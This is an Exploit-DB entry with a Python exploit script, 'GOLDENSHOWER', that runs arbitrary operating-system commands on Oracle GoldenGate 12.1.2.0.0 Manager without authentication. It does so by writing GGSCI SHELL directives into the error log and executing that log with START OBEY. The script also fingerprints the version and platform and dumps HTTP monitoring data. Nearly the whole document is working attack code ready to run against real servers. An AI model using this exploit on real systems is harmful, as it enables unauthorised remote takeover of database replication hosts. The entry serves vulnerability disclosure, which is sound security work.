Oracle GoldenGate 12.1.2.0.0 - Unauthenticated Remote Code Execution

EDB-ID: 41978
Author: Silent Signal
Published: 2017-05-09
CVE: N/A
Type: Remote
Platform: Multiple
Aliases: GOLDENSHOWER
Advisory/Source: Link
Tags: Remote
Vulnerable App: N/A

 # Sources: 
# https://silentsignal.hu/docs/S2_Oracle_GoldenGate_GOLDENSHOWER.py
# https://blog.silentsignal.eu/2017/05/08/fools-of-golden-gate/
#
# GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal
#
# Tested with:
# Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0_PLATFORMS_130924.1316 Linux, x64, 64bit (optimized) Oracle 11g
# Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0T1_PLATFORMS_140313.1216 Windows x64 (optimized) Oracle 12c
#
# Nmap service fingerprint example:
# ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)========
# SF-Port7809-TCP:V=7.12%I=7%D=2/20%Time=DEADBEEF%P=x86_64-unknown-linux-gnu
# SF:%r(RPCCheck,2D,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20th
# SF:e\x20command\.\0")%r(DNSVersionBindReq,28,"\0&\x20\x20ERROR\tMGR\x20Did
# SF:\x20Not\x20Recognize\x20Command\0")%r(DNSStatusRequest,28,"\0&\x20\x20E
# SF:RROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(afp,28,"\0&\x20\x
# SF:20ERROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(kumo-server,2D
# SF:,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20the\x20command\.
# SF:\0");

import socket
import struct
import argparse

HOST = None
PORT = None
PLATFORM = None


def send_write(cmd):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

term_ch = "#"
if PLATFORM == "win":
term_ch = "&"

cmd_ggsci = "GGSCI START OBEY x\nSHELL,%s %s " % (cmd, term_ch)
cmd_ggsci = cmd_ggsci.replace(" ", "\x09")

length = struct.pack(">H", len(cmd_ggsci))
s.send(length + cmd_ggsci)
r = s.recv(1024)
print "[+] '%s' WRITTEN \nReceived: %s\n" % (cmd, repr(r))

s.close()


def send_exec():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
cmd = "GGSCI START OBEY ggserr.log".replace(" ", "\x09")
length = struct.pack(">H", len(cmd))
s.send(length + cmd)
r = s.recv(1024)
print "[+] EXECUTED - Received: %s\n" % (repr(r))
s.close()


def monitor():
if PLATFORM == "win":
print "[!] Windows platform detected, this may not work!"

import requests
paths = ["messages", "registry", "statuschanges", "mpoints"]
for p in paths:
r = requests.get("http://%s:%d/%s" % (HOST, PORT, p))
print "\n--- MONITOR - %s ---" % (p)
print r.text


def version():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
#cmd = "GGSCI VERSION".replace(" ","\x09")
cmd = "GGSCI\tVERSION"
length = struct.pack(">H", len(cmd))
s.send(length + cmd)
r = s.recv(1024)
ver = r[5:].replace("\t", " ")
print "[+] VERSION: %s\n" % (ver)
s.close()
return ver


def debug(cmd, l=None):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
length = None
if l is None:
length = struct.pack(">H", len(cmd))
else:
length = struct.pack(">H", l)
s.send(length + cmd)
print "[+] Sent: %s" % (repr(length + cmd))
r = s.recv(1024)
print "[+] Received: %s\n" % (repr(r))
s.close()


parser = argparse.ArgumentParser(
description='GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal')
parser.add_argument("--host", help="Target host")
parser.add_argument("--port", help="Target port", type=int, default=7809)
parser.add_argument("--cmd", help="Command(s) to execute", nargs='*')
parser.add_argument(
"--monitor", help="Dump information (incl. version) via HTTP monitoring functions", action="store_true")
parser.add_argument("--debugcmd", help="Send raw content", required=False)
parser.add_argument("--debuglen", help="Indicated size of raw content",
type=int, default=None, required=False)

args = parser.parse_args()

HOST = args.host
PORT = args.port

ver = version()

if "Windows" in ver:
PLATFORM = "win"
print "[+] Platform: Windows"
else:
PLATFORM = "nix"
print "[+] Platform: *nix"

if args.cmd:
for c in args.cmd:
send_write(c)
send_exec()

if args.monitor:
monitor()

if args.debugcmd:
debug(args.debugcmd, args.debuglen)

# Signature: aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0wNHZINFdfOVJmZw==

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